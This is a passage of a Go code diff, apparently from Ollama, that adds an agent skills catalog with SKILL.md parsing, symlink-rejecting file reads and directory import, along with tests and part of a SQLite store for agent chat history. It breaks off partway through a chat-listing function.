func (c *Catalog) SummaryMarkdown() string {
|
||||
if c.Empty() {
|
||||
return "No skills are installed."
|
||||
}
|
||||
var b strings.Builder
|
||||
b.WriteString("Installed skills:\n\n")
|
||||
for _, skill := range c.Skills {
|
||||
b.WriteString("- **")
|
||||
b.WriteString(skill.Name)
|
||||
b.WriteString("**: ")
|
||||
b.WriteString(skill.Description)
|
||||
b.WriteByte('\n')
|
||||
}
|
||||
return strings.TrimRight(b.String(), "\n")
|
||||
}
|
||||
|
||||
func (c *Catalog) SystemPrompt(toolAvailable bool) string {
|
||||
if c.Empty() {
|
||||
return ""
|
||||
}
|
||||
|
||||
var b strings.Builder
|
||||
b.WriteString("Agent skills are available. Skills are reusable instruction packages stored under ")
|
||||
b.WriteString(c.Dir)
|
||||
b.WriteString(".\n")
|
||||
b.WriteString("Use a skill when its description matches the user's task. Load only metadata up front; load full instructions only when needed.\n")
|
||||
if toolAvailable {
|
||||
b.WriteString("To load a skill, call the skill tool with the skill name. After loading SKILL.md, follow it. Resolve relative references from the returned skill directory.\n")
|
||||
} else {
|
||||
b.WriteString("This model cannot call tools in this session. Follow any skill instructions that are explicitly provided by the user or system.\n")
|
||||
}
|
||||
b.WriteString("\nAvailable skills:\n")
|
||||
for _, skill := range c.Skills {
|
||||
b.WriteString("- ")
|
||||
b.WriteString(skill.Name)
|
||||
b.WriteString(": ")
|
||||
b.WriteString(skill.Description)
|
||||
b.WriteByte('\n')
|
||||
}
|
||||
return strings.TrimRight(b.String(), "\n")
|
||||
}
|
||||
|
||||
func (s Skill) Read() (string, error) {
|
||||
if s.File == "" {
|
||||
return "", fmt.Errorf("skill %q has no %s path", s.Name, SkillFile)
|
||||
}
|
||||
data, err := readSkillFile(s.File)
|
||||
if err != nil {
|
||||
return "", err
|
||||
}
|
||||
return string(data), nil
|
||||
}
|
||||
|
||||
func readSkillFile(path string) ([]byte, error) {
|
||||
info, err := os.Lstat(path)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
if info.Mode()&os.ModeSymlink != 0 {
|
||||
return nil, fmt.Errorf("%s must not be a symlink", SkillFile)
|
||||
}
|
||||
if !info.Mode().IsRegular() {
|
||||
return nil, fmt.Errorf("%s must be a regular file", SkillFile)
|
||||
}
|
||||
if info.Size() > maxSkillFileBytes {
|
||||
return nil, fmt.Errorf("%s exceeds %d bytes", SkillFile, maxSkillFileBytes)
|
||||
}
|
||||
return os.ReadFile(path)
|
||||
}
|
||||
|
||||
func NormalizeName(name string) string {
|
||||
name = strings.TrimSpace(name)
|
||||
name = strings.TrimPrefix(name, "/")
|
||||
return strings.ToLower(name)
|
||||
}
|
||||
|
||||
func parseSkillFile(data []byte) (frontmatter, string, error) {
|
||||
text := strings.ReplaceAll(string(data), "\r\n", "\n")
|
||||
if !strings.HasPrefix(text, "---\n") {
|
||||
return frontmatter{}, "", fmt.Errorf("%s must start with YAML frontmatter", SkillFile)
|
||||
}
|
||||
|
||||
rest := text[len("---\n"):]
|
||||
end := strings.Index(rest, "\n---")
|
||||
if end < 0 {
|
||||
return frontmatter{}, "", fmt.Errorf("%s frontmatter is not closed", SkillFile)
|
||||
}
|
||||
|
||||
var meta frontmatter
|
||||
if err := yaml.Unmarshal([]byte(rest[:end]), &meta); err != nil {
|
||||
return frontmatter{}, "", fmt.Errorf("parse frontmatter: %w", err)
|
||||
}
|
||||
|
||||
body := rest[end+len("\n---"):]
|
||||
body = strings.TrimPrefix(body, "\n")
|
||||
return meta, body, nil
|
||||
}
|
||||
|
||||
func validateMetadata(meta frontmatter) error {
|
||||
if !validName.MatchString(meta.Name) {
|
||||
return fmt.Errorf("invalid skill name %q", meta.Name)
|
||||
}
|
||||
if strings.TrimSpace(meta.Description) == "" {
|
||||
return fmt.Errorf("skill %q has empty description", meta.Name)
|
||||
}
|
||||
if len([]rune(meta.Description)) > 1024 {
|
||||
return fmt.Errorf("skill %q description exceeds 1024 characters", meta.Name)
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
type copyDirResult struct {
|
||||
Skipped []string
|
||||
}
|
||||
|
||||
func copyDir(src, dst string, force bool) (copyDirResult, error) {
|
||||
if _, err := os.Stat(dst); err == nil && !force {
|
||||
return copyDirResult{}, fs.ErrExist
|
||||
} else if err != nil && !errors.Is(err, os.ErrNotExist) {
|
||||
return copyDirResult{}, err
|
||||
}
|
||||
|
||||
parent := filepath.Dir(dst)
|
||||
if err := os.MkdirAll(parent, 0o755); err != nil {
|
||||
return copyDirResult{}, err
|
||||
}
|
||||
tmp, err := os.MkdirTemp(parent, "."+filepath.Base(dst)+".tmp-*")
|
||||
if err != nil {
|
||||
return copyDirResult{}, err
|
||||
}
|
||||
moved := false
|
||||
defer func() {
|
||||
if !moved {
|
||||
_ = os.RemoveAll(tmp)
|
||||
}
|
||||
}()
|
||||
|
||||
var result copyDirResult
|
||||
if err := filepath.WalkDir(src, func(path string, d fs.DirEntry, err error) error {
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
rel, err := filepath.Rel(src, path)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
if rel == "." {
|
||||
return nil
|
||||
}
|
||||
target := filepath.Join(tmp, rel)
|
||||
|
||||
if d.Type()&os.ModeSymlink != 0 {
|
||||
result.Skipped = append(result.Skipped, rel)
|
||||
return nil
|
||||
}
|
||||
if d.IsDir() {
|
||||
info, err := d.Info()
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
return os.MkdirAll(target, info.Mode().Perm())
|
||||
}
|
||||
|
||||
info, err := d.Info()
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
data, err := os.ReadFile(path)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
return os.WriteFile(target, data, info.Mode().Perm())
|
||||
}); err != nil {
|
||||
return result, err
|
||||
}
|
||||
|
||||
if force {
|
||||
if err := os.RemoveAll(dst); err != nil {
|
||||
return result, err
|
||||
}
|
||||
}
|
||||
if _, err := os.Stat(dst); err == nil {
|
||||
return result, fs.ErrExist
|
||||
} else if err != nil && !errors.Is(err, os.ErrNotExist) {
|
||||
return result, err
|
||||
}
|
||||
if err := os.Rename(tmp, dst); err != nil {
|
||||
return result, err
|
||||
}
|
||||
moved = true
|
||||
return result, nil
|
||||
}
|
||||
@@ -0,0 +1,157 @@
|
||||
package skills
|
||||
|
||||
import (
|
||||
"os"
|
||||
"path/filepath"
|
||||
"runtime"
|
||||
"strings"
|
||||
"testing"
|
||||
)
|
||||
|
||||
func TestLoadCatalogReadsSkillMetadata(t *testing.T) {
|
||||
dir := t.TempDir()
|
||||
writeSkill(t, filepath.Join(dir, "go-code"), "go-code", "Write idiomatic Go code.")
|
||||
|
||||
catalog, err := Load(dir)
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if len(catalog.Skills) != 1 {
|
||||
t.Fatalf("skills = %d, want 1: %#v", len(catalog.Skills), catalog)
|
||||
}
|
||||
if got := catalog.Skills[0].Name; got != "go-code" {
|
||||
t.Fatalf("skill name = %q", got)
|
||||
}
|
||||
if prompt := catalog.SystemPrompt(true); !strings.Contains(prompt, "go-code: Write idiomatic Go code.") || !strings.Contains(prompt, "call the skill tool") {
|
||||
t.Fatalf("system prompt missing skill metadata: %q", prompt)
|
||||
}
|
||||
}
|
||||
|
||||
func TestLoadCatalogSkipsInvalidSkills(t *testing.T) {
|
||||
dir := t.TempDir()
|
||||
writeSkill(t, filepath.Join(dir, "bad"), "Bad_Name", "bad")
|
||||
|
||||
catalog, err := Load(dir)
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if len(catalog.Skills) != 0 {
|
||||
t.Fatalf("skills = %#v, want none", catalog.Skills)
|
||||
}
|
||||
if len(catalog.Warnings) == 0 {
|
||||
t.Fatal("expected invalid skill warning")
|
||||
}
|
||||
}
|
||||
|
||||
func TestImportToDirCopiesCanonicalSkill(t *testing.T) {
|
||||
home := t.TempDir()
|
||||
t.Setenv("HOME", home)
|
||||
t.Setenv("USERPROFILE", home)
|
||||
src := filepath.Join(home, ".claude", "skills", "go-code")
|
||||
writeSkill(t, src, "go-code", "Write idiomatic Go code.")
|
||||
if err := os.WriteFile(filepath.Join(src, "notes.md"), []byte("notes"), 0o644); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
|
||||
dest := filepath.Join(home, ".ollama", "skills")
|
||||
results, err := ImportToDir("claude", dest, false)
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if len(results) != 1 || results[0].Skipped {
|
||||
t.Fatalf("results = %#v", results)
|
||||
}
|
||||
if _, err := os.Stat(filepath.Join(dest, "go-code", "notes.md")); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
}
|
||||
|
||||
func TestReadMetadataRejectsSymlink(t *testing.T) {
|
||||
if runtime.GOOS == "windows" {
|
||||
t.Skip("symlink permissions vary on Windows")
|
||||
}
|
||||
dir := t.TempDir()
|
||||
real := filepath.Join(dir, "real.md")
|
||||
if err := os.WriteFile(real, []byte("---\nname: go-code\ndescription: Write idiomatic Go code.\n---\n"), 0o644); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
link := filepath.Join(dir, SkillFile)
|
||||
if err := os.Symlink(real, link); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if _, err := ReadMetadata(link); err == nil || !strings.Contains(err.Error(), "must not be a symlink") {
|
||||
t.Fatalf("ReadMetadata error = %v, want symlink rejection", err)
|
||||
}
|
||||
}
|
||||
|
||||
func TestImportToDirReportsSymlinkedSkillDirectory(t *testing.T) {
|
||||
if runtime.GOOS == "windows" {
|
||||
t.Skip("symlink permissions vary on Windows")
|
||||
}
|
||||
home := t.TempDir()
|
||||
t.Setenv("HOME", home)
|
||||
t.Setenv("USERPROFILE", home)
|
||||
srcRoot := filepath.Join(home, ".claude", "skills")
|
||||
real := filepath.Join(home, "elsewhere", "go-code")
|
||||
writeSkill(t, real, "go-code", "Write idiomatic Go code.")
|
||||
if err := os.MkdirAll(srcRoot, 0o755); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if err := os.Symlink(real, filepath.Join(srcRoot, "go-code")); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
|
||||
results, err := ImportToDir("claude", filepath.Join(home, ".ollama", "skills"), false)
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if len(results) != 1 || !results[0].Skipped {
|
||||
t.Fatalf("results = %#v, want one skipped symlink directory", results)
|
||||
}
|
||||
if !strings.Contains(results[0].Error, "symlinked skill directories") {
|
||||
t.Fatalf("error = %q, want symlink directory warning", results[0].Error)
|
||||
}
|
||||
}
|
||||
|
||||
func TestImportToDirReportsSkippedSymlinkEntries(t *testing.T) {
|
||||
if runtime.GOOS == "windows" {
|
||||
t.Skip("symlink permissions vary on Windows")
|
||||
}
|
||||
home := t.TempDir()
|
||||
t.Setenv("HOME", home)
|
||||
t.Setenv("USERPROFILE", home)
|
||||
src := filepath.Join(home, ".claude", "skills", "go-code")
|
||||
writeSkill(t, src, "go-code", "Write idiomatic Go code.")
|
||||
target := filepath.Join(home, "outside.md")
|
||||
if err := os.WriteFile(target, []byte("outside"), 0o644); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if err := os.Symlink(target, filepath.Join(src, "outside.md")); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
|
||||
results, err := ImportToDir("claude", filepath.Join(home, ".ollama", "skills"), false)
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if len(results) != 1 || results[0].Skipped {
|
||||
t.Fatalf("results = %#v, want one imported skill", results)
|
||||
}
|
||||
if !strings.Contains(results[0].Error, "skipped symlinks: outside.md") {
|
||||
t.Fatalf("error = %q, want skipped symlink warning", results[0].Error)
|
||||
}
|
||||
if _, err := os.Lstat(filepath.Join(home, ".ollama", "skills", "go-code", "outside.md")); !os.IsNotExist(err) {
|
||||
t.Fatalf("copied symlink err = %v, want missing symlink", err)
|
||||
}
|
||||
}
|
||||
|
||||
func writeSkill(t *testing.T, dir, name, description string) {
|
||||
t.Helper()
|
||||
if err := os.MkdirAll(dir, 0o755); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
content := "---\nname: " + name + "\ndescription: " + description + "\n---\n\n# " + name + "\n\nUse this skill.\n"
|
||||
if err := os.WriteFile(filepath.Join(dir, SkillFile), []byte(content), 0o644); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,991 @@
|
||||
package store
|
||||
|
||||
import (
|
||||
"context"
|
||||
"database/sql"
|
||||
"encoding/json"
|
||||
"errors"
|
||||
"fmt"
|
||||
"os"
|
||||
"path/filepath"
|
||||
"runtime"
|
||||
"strings"
|
||||
"sync"
|
||||
"time"
|
||||
|
||||
"github.com/ollama/ollama/agent"
|
||||
"github.com/ollama/ollama/api"
|
||||
|
||||
_ "github.com/mattn/go-sqlite3"
|
||||
)
|
||||
|
||||
type Store struct {
|
||||
DBPath string
|
||||
|
||||
dbMu sync.Mutex
|
||||
db *database
|
||||
}
|
||||
|
||||
type database struct {
|
||||
conn *sql.DB
|
||||
}
|
||||
|
||||
type AgentChat struct {
|
||||
ID string
|
||||
Title string
|
||||
Model string
|
||||
CreatedAt time.Time
|
||||
Messages []api.Message
|
||||
}
|
||||
|
||||
type ChatSummary struct {
|
||||
ID string
|
||||
Title string
|
||||
Model string
|
||||
CreatedAt time.Time
|
||||
UpdatedAt time.Time
|
||||
MessageCount int
|
||||
ApproxBytes int64
|
||||
}
|
||||
|
||||
func New(path string) (*Store, error) {
|
||||
store := &Store{DBPath: path}
|
||||
if err := store.ensureDB(); err != nil {
|
||||
return nil, err
|
||||
}
|
||||
return store, nil
|
||||
}
|
||||
|
||||
func (s *Store) ensureDB() error {
|
||||
if s.db != nil {
|
||||
return nil
|
||||
}
|
||||
|
||||
s.dbMu.Lock()
|
||||
defer s.dbMu.Unlock()
|
||||
|
||||
if s.db != nil {
|
||||
return nil
|
||||
}
|
||||
|
||||
dbPath := s.DBPath
|
||||
if dbPath == "" {
|
||||
dbPath = defaultDBPath()
|
||||
}
|
||||
if err := os.MkdirAll(filepath.Dir(dbPath), 0o755); err != nil {
|
||||
return fmt.Errorf("create database directory: %w", err)
|
||||
}
|
||||
db, err := newDatabase(dbPath)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
s.db = db
|
||||
return nil
|
||||
}
|
||||
|
||||
func (s *Store) Close() error {
|
||||
if s == nil || s.db == nil {
|
||||
return nil
|
||||
}
|
||||
err := s.db.Close()
|
||||
s.db = nil
|
||||
return err
|
||||
}
|
||||
|
||||
func defaultDBPath() string {
|
||||
switch runtime.GOOS {
|
||||
case "windows":
|
||||
return filepath.Join(os.Getenv("LOCALAPPDATA"), "Ollama", "db.sqlite")
|
||||
case "darwin":
|
||||
return filepath.Join(os.Getenv("HOME"), "Library", "Application Support", "Ollama", "db.sqlite")
|
||||
default:
|
||||
return filepath.Join(os.Getenv("HOME"), ".ollama", "db.sqlite")
|
||||
}
|
||||
}
|
||||
|
||||
func newDatabase(dbPath string) (*database, error) {
|
||||
conn, err := sql.Open("sqlite3", dbPath+"?_foreign_keys=on&_journal_mode=WAL&_busy_timeout=5000&_txlock=immediate")
|
||||
if err != nil {
|
||||
return nil, fmt.Errorf("open database: %w", err)
|
||||
}
|
||||
if err := conn.Ping(); err != nil {
|
||||
conn.Close()
|
||||
return nil, fmt.Errorf("ping database: %w", err)
|
||||
}
|
||||
db := &database{conn: conn}
|
||||
if err := db.init(); err != nil {
|
||||
conn.Close()
|
||||
return nil, fmt.Errorf("initialize database: %w", err)
|
||||
}
|
||||
return db, nil
|
||||
}
|
||||
|
||||
func (db *database) Close() error {
|
||||
_, _ = db.conn.Exec("PRAGMA wal_checkpoint(TRUNCATE);")
|
||||
return db.conn.Close()
|
||||
}
|
||||
|
||||
func (db *database) init() error {
|
||||
if _, err := db.conn.Exec("PRAGMA foreign_keys = ON"); err != nil {
|
||||
return fmt.Errorf("enable foreign keys: %w", err)
|
||||
}
|
||||
if _, err := db.conn.Exec(`
|
||||
CREATE TABLE IF NOT EXISTS chats (
|
||||
id TEXT PRIMARY KEY,
|
||||
title TEXT NOT NULL DEFAULT '',
|
||||
model_name TEXT NOT NULL DEFAULT '',
|
||||
source TEXT NOT NULL DEFAULT 'app',
|
||||
created_at TIMESTAMP NOT NULL DEFAULT CURRENT_TIMESTAMP,
|
||||
browser_state TEXT
|
||||
);
|
||||
|
||||
CREATE TABLE IF NOT EXISTS messages (
|
||||
id INTEGER PRIMARY KEY AUTOINCREMENT,
|
||||
chat_id TEXT NOT NULL,
|
||||
role TEXT NOT NULL,
|
||||
content TEXT NOT NULL DEFAULT '',
|
||||
thinking TEXT NOT NULL DEFAULT '',
|
||||
images TEXT NOT NULL DEFAULT '[]',
|
||||
stream BOOLEAN NOT NULL DEFAULT 0,
|
||||
model_name TEXT,
|
||||
model_cloud BOOLEAN,
|
||||
model_ollama_host BOOLEAN,
|
||||
created_at TIMESTAMP NOT NULL DEFAULT CURRENT_TIMESTAMP,
|
||||
updated_at TIMESTAMP NOT NULL DEFAULT CURRENT_TIMESTAMP,
|
||||
thinking_time_start TIMESTAMP,
|
||||
thinking_time_end TIMESTAMP,
|
||||
tool_result TEXT,
|
||||
tool_name TEXT NOT NULL DEFAULT '',
|
||||
tool_call_id TEXT NOT NULL DEFAULT '',
|
||||
archived BOOLEAN NOT NULL DEFAULT 0,
|
||||
FOREIGN KEY (chat_id) REFERENCES chats(id) ON DELETE CASCADE
|
||||
);
|
||||
|
||||
CREATE TABLE IF NOT EXISTS tool_calls (
|
||||
id INTEGER PRIMARY KEY AUTOINCREMENT,
|
||||
message_id INTEGER NOT NULL,
|
||||
type TEXT NOT NULL,
|
||||
tool_call_id TEXT NOT NULL DEFAULT '',
|
||||
function_name TEXT NOT NULL,
|
||||
function_arguments TEXT NOT NULL,
|
||||
function_result TEXT,
|
||||
FOREIGN KEY (message_id) REFERENCES messages(id) ON DELETE CASCADE
|
||||
);
|
||||
|
||||
CREATE TABLE IF NOT EXISTS compactions (
|
||||
id INTEGER PRIMARY KEY AUTOINCREMENT,
|
||||
chat_id TEXT NOT NULL,
|
||||
summary TEXT NOT NULL,
|
||||
archived_message_ids TEXT NOT NULL DEFAULT '[]',
|
||||
created_at TIMESTAMP NOT NULL DEFAULT CURRENT_TIMESTAMP,
|
||||
FOREIGN KEY (chat_id) REFERENCES chats(id) ON DELETE CASCADE
|
||||
);
|
||||
|
||||
`); err != nil {
|
||||
return err
|
||||
}
|
||||
return db.ensureAgentSchema()
|
||||
}
|
||||
|
||||
func (db *database) ensureAgentSchema() error {
|
||||
for _, stmt := range []struct {
|
||||
sql string
|
||||
msg string
|
||||
}{
|
||||
{`ALTER TABLE chats ADD COLUMN model_name TEXT NOT NULL DEFAULT ''`, "add chats.model_name"},
|
||||
{`ALTER TABLE chats ADD COLUMN source TEXT NOT NULL DEFAULT 'app'`, "add chats.source"},
|
||||
{`ALTER TABLE messages ADD COLUMN images TEXT NOT NULL DEFAULT '[]'`, "add messages.images"},
|
||||
{`ALTER TABLE messages ADD COLUMN tool_name TEXT NOT NULL DEFAULT ''`, "add messages.tool_name"},
|
||||
{`ALTER TABLE messages ADD COLUMN tool_call_id TEXT NOT NULL DEFAULT ''`, "add messages.tool_call_id"},
|
||||
{`ALTER TABLE messages ADD COLUMN archived BOOLEAN NOT NULL DEFAULT 0`, "add messages.archived"},
|
||||
{`ALTER TABLE tool_calls ADD COLUMN tool_call_id TEXT NOT NULL DEFAULT ''`, "add tool_calls.tool_call_id"},
|
||||
} {
|
||||
_, err := db.conn.Exec(stmt.sql)
|
||||
if err != nil && !duplicateColumnError(err) {
|
||||
return fmt.Errorf("%s: %w", stmt.msg, err)
|
||||
}
|
||||
}
|
||||
_, err := db.conn.Exec(`
|
||||
CREATE INDEX IF NOT EXISTS idx_messages_chat_id ON messages(chat_id);
|
||||
CREATE INDEX IF NOT EXISTS idx_messages_chat_id_id ON messages(chat_id, id);
|
||||
CREATE INDEX IF NOT EXISTS idx_messages_chat_id_archived ON messages(chat_id, archived, id);
|
||||
CREATE INDEX IF NOT EXISTS idx_tool_calls_message_id ON tool_calls(message_id);
|
||||
CREATE TABLE IF NOT EXISTS compactions (
|
||||
id INTEGER PRIMARY KEY AUTOINCREMENT,
|
||||
chat_id TEXT NOT NULL,
|
||||
summary TEXT NOT NULL,
|
||||
archived_message_ids TEXT NOT NULL DEFAULT '[]',
|
||||
created_at TIMESTAMP NOT NULL DEFAULT CURRENT_TIMESTAMP,
|
||||
FOREIGN KEY (chat_id) REFERENCES chats(id) ON DELETE CASCADE
|
||||
);
|
||||
CREATE INDEX IF NOT EXISTS idx_compactions_chat_id ON compactions(chat_id, id);
|
||||
`)
|
||||
if err != nil {
|
||||
return fmt.Errorf("create agent chat persistence tables: %w", err)
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
func duplicateColumnError(err error) bool {
|
||||
return err != nil && strings.Contains(strings.ToLower(err.Error()), "duplicate column")
|
||||
}
|
||||
|
||||
func (s *Store) EnsureChat(ctx context.Context, id string, title string) error {
|
||||
if id == "" {
|
||||
return fmt.Errorf("chat id is required")
|
||||
}
|
||||
if err := s.ensureDB(); err != nil {
|
||||
return err
|
||||
}
|
||||
_, err := s.db.conn.ExecContext(ctx, `
|
||||
INSERT INTO chats (id, title, created_at, source)
|
||||
VALUES (?, ?, ?, 'agent')
|
||||
ON CONFLICT(id) DO UPDATE SET
|
||||
title = CASE
|
||||
WHEN excluded.title != '' THEN excluded.title
|
||||
ELSE chats.title
|
||||
END,
|
||||
source = 'agent'
|
||||
`, id, title, time.Now())
|
||||
if err != nil {
|
||||
return fmt.Errorf("ensure chat: %w", err)
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
func (s *Store) SetChatModel(ctx context.Context, chatID string, model string) error {
|
||||
chatID = strings.TrimSpace(chatID)
|
||||
model = strings.TrimSpace(model)
|
||||
if chatID == "" {
|
||||
return fmt.Errorf("chat id is required")
|
||||
}
|
||||
if model == "" {
|
||||
return fmt.Errorf("model is required")
|
||||
}
|
||||
if err := s.EnsureChat(ctx, chatID, ""); err != nil {
|
||||
return err
|
||||
}
|
||||
if _, err := s.db.conn.ExecContext(ctx, `UPDATE chats SET model_name = ? WHERE id = ?`, model, chatID); err != nil {
|
||||
return fmt.Errorf("set chat model: %w", err)
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
func (s *Store) AppendAgentMessage(ctx context.Context, chatID string, msg api.Message, model string) error {
|
||||
if err := s.EnsureChat(ctx, chatID, ""); err != nil {
|
||||
return err
|
||||
}
|
||||
|
||||
tx, err := s.db.conn.BeginTx(ctx, nil)
|
||||
if err != nil {
|
||||
return fmt.Errorf("begin transaction: %w", err)
|
||||
}
|
||||
defer tx.Rollback()
|
||||
|
||||
messageID, err := insertAgentMessage(ctx, tx, chatID, msg, model)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
for _, toolCall := range msg.ToolCalls {
|
||||
if err := insertAgentToolCall(ctx, tx, messageID, toolCall); err != nil {
|
||||
return err
|
||||
}
|
||||
}
|
||||
|
||||
if msg.Role == "user" && strings.TrimSpace(msg.Content) != "" {
|
||||
if err := maybeSetAgentTitle(ctx, tx, chatID, msg.Content); err != nil {
|
||||
return err
|
||||
}
|
||||
}
|
||||
|
||||
return tx.Commit()
|
||||
}
|
||||
|
||||
func (s *Store) UpdateLastAgentMessage(ctx context.Context, chatID string, msg api.Message, model string) error {
|
||||
if err := s.ensureDB(); err != nil {
|
||||
return err
|
||||
}
|
||||
tx, err := s.db.conn.BeginTx(ctx, nil)
|
||||
if err != nil {
|
||||
return fmt.Errorf("begin transaction: %w", err)
|
||||
}
|
||||
defer tx.Rollback()
|
||||
|
||||
var messageID int64
|
||||
if err := tx.QueryRowContext(ctx, `SELECT COALESCE(MAX(id), 0) FROM messages WHERE chat_id = ? AND archived = 0`, chatID).Scan(&messageID); err != nil {
|
||||
return fmt.Errorf("get last message id: %w", err)
|
||||
}
|
||||
if messageID == 0 {
|
||||
return fmt.Errorf("no message found to update")
|
||||
}
|
||||
|
||||
now := time.Now()
|
||||
modelName := sql.NullString{}
|
||||
if model != "" {
|
||||
modelName = sql.NullString{String: model, Valid: true}
|
||||
}
|
||||
|
||||
imagesJSON, err := marshalAgentMessageImages(msg.Images)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
|
||||
_, err = tx.ExecContext(ctx, `
|
||||
UPDATE messages
|
||||
SET role = ?, content = ?, thinking = ?, images = ?, tool_name = ?, tool_call_id = ?, model_name = ?, updated_at = ?
|
||||
WHERE id = ?
|
||||
`, msg.Role, msg.Content, msg.Thinking, imagesJSON, msg.ToolName, msg.ToolCallID, modelName, now, messageID)
|
||||
if err != nil {
|
||||
return fmt.Errorf("update last message: %w", err)
|
||||
}
|
||||
|
||||
if _, err := tx.ExecContext(ctx, `DELETE FROM tool_calls WHERE message_id = ?`, messageID); err != nil {
|
||||
return fmt.Errorf("delete old tool calls: %w", err)
|
||||
}
|
||||
for _, toolCall := range msg.ToolCalls {
|
||||
if err := insertAgentToolCall(ctx, tx, messageID, toolCall); err != nil {
|
||||
return err
|
||||
}
|
||||
}
|
||||
|
||||
return tx.Commit()
|
||||
}
|
||||
|
||||
func (s *Store) AgentChat(ctx context.Context, id string) (*AgentChat, error) {
|
||||
if err := s.ensureDB(); err != nil {
|
||||
return nil, err
|
||||
}
|
||||
var chat AgentChat
|
||||
var chatModel string
|
||||
if err := s.db.conn.QueryRowContext(ctx, `
|
||||
SELECT id, title, model_name, created_at FROM chats WHERE id = ?
|
||||
`, id).Scan(&chat.ID, &chat.Title, &chatModel, &chat.CreatedAt); err != nil {
|
||||
return nil, err
|
||||
}
|
||||
if strings.TrimSpace(chatModel) != "" {
|
||||
chat.Model = chatModel
|
||||
} else {
|
||||
model, err := latestAgentModelForChat(ctx, s.db.conn, id)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
chat.Model = model
|
||||
}
|
||||
|
||||
rows, err := s.db.conn.QueryContext(ctx, `
|
||||
SELECT id, role, content, thinking, images, tool_name, tool_call_id FROM messages WHERE chat_id = ? AND archived = 0 ORDER BY id ASC
|
||||
`, id)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
defer rows.Close()
|
||||
|
||||
for rows.Next() {
|
||||
var messageID int64
|
||||
var msg api.Message
|
||||
var imagesJSON string
|
||||
if err := rows.Scan(&messageID, &msg.Role, &msg.Content, &msg.Thinking, &imagesJSON, &msg.ToolName, &msg.ToolCallID); err != nil {
|
||||
return nil, err
|
||||
}
|
||||
images, err := unmarshalAgentMessageImages(imagesJSON)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
msg.Images = images
|
||||
toolCalls, err := getAgentToolCalls(ctx, s.db.conn, messageID)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
msg.ToolCalls = toolCalls
|
||||
chat.Messages = append(chat.Messages, msg)
|
||||
}
|
||||
if err := rows.Err(); err != nil {
|
||||
return nil, err
|
||||
}
|
||||
|
||||
summary, err := latestCompactionSummary(ctx, s.db.conn, id)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
if summary != "" && !messagesContainCompactionSummary(chat.Messages) {
|
||||
chat.Messages = insertCompactionSummaryAfterLeadingSystemMessages(chat.Messages, agent.CompactionSummaryMessages(summary, false))
|
||||
} else {
|
||||
chat.Messages = moveCompactionSummaryBeforeKeptMessages(chat.Messages)
|
||||
}
|
||||
chat.Messages = repairDanglingToolCalls(chat.Messages)
|
||||
|
||||
return &chat, nil
|
||||
}
|
||||
|
||||
func (s *Store) LatestChat(ctx context.Context) (*AgentChat, error) {
|
||||
if err := s.ensureDB(); err != nil {
|
||||
return nil, err
|
||||
}
|
||||
var chatID string
|
||||
query := fmt.Sprintf(`
|
||||
SELECT c.id
|
||||
FROM chats c
|
||||
JOIN messages m ON m.chat_id = c.id AND m.archived = 0
|
||||
WHERE c.source = 'agent'
|
||||
GROUP BY c.id
|
||||
HAVING %[1]s IS NOT NULL
|
||||
ORDER BY MAX(m.updated_at) DESC, MAX(m.id) DESC
|
||||
LIMIT 1
|
||||
`, currentAgentModelSelectExpr("c"))
|
||||
if err := s.db.conn.QueryRowContext(ctx, query).Scan(&chatID); err != nil {
|
||||
return nil, err
|
||||
}
|
||||
return s.AgentChat(ctx, chatID)
|
||||
}
|
||||
|
||||
func (s *Store) LatestChatForModel(ctx context.Context, model string) (*AgentChat, error) {
|
||||
if strings.TrimSpace(model) == "" {
|
||||
return nil, fmt.Errorf("model is required")
|
||||
}
|
||||
if err := s.ensureDB(); err != nil {
|
||||
return nil, err
|
||||
}
|
||||
|
||||
var chatID string
|
||||
query := fmt.Sprintf(`
|
||||
SELECT c.id
|
||||
FROM chats c
|
||||
JOIN messages m ON m.chat_id = c.id AND m.archived = 0
|
||||
WHERE c.source = 'agent'
|
||||
GROUP BY c.id
|
||||
HAVING %[1]s = ?
|
||||
ORDER BY MAX(m.updated_at) DESC, MAX(m.id) DESC
|
||||
LIMIT 1
|
||||
`, currentAgentModelSelectExpr("c"))
|
||||
if err := s.db.conn.QueryRowContext(ctx, query, model).Scan(&chatID); err != nil {
|
||||
return nil, err
|
||||
}
|
||||
return s.AgentChat(ctx, chatID)
|
||||
}
|
||||
|
||||
func (s *Store) ListChats(ctx context.Context, limit int) ([]ChatSummary, error) {
|
||||
if err := s.ensureDB(); err != nil {
|
||||
return nil, err
|
||||
}
|
||||
if limit <= 0 {
|
||||
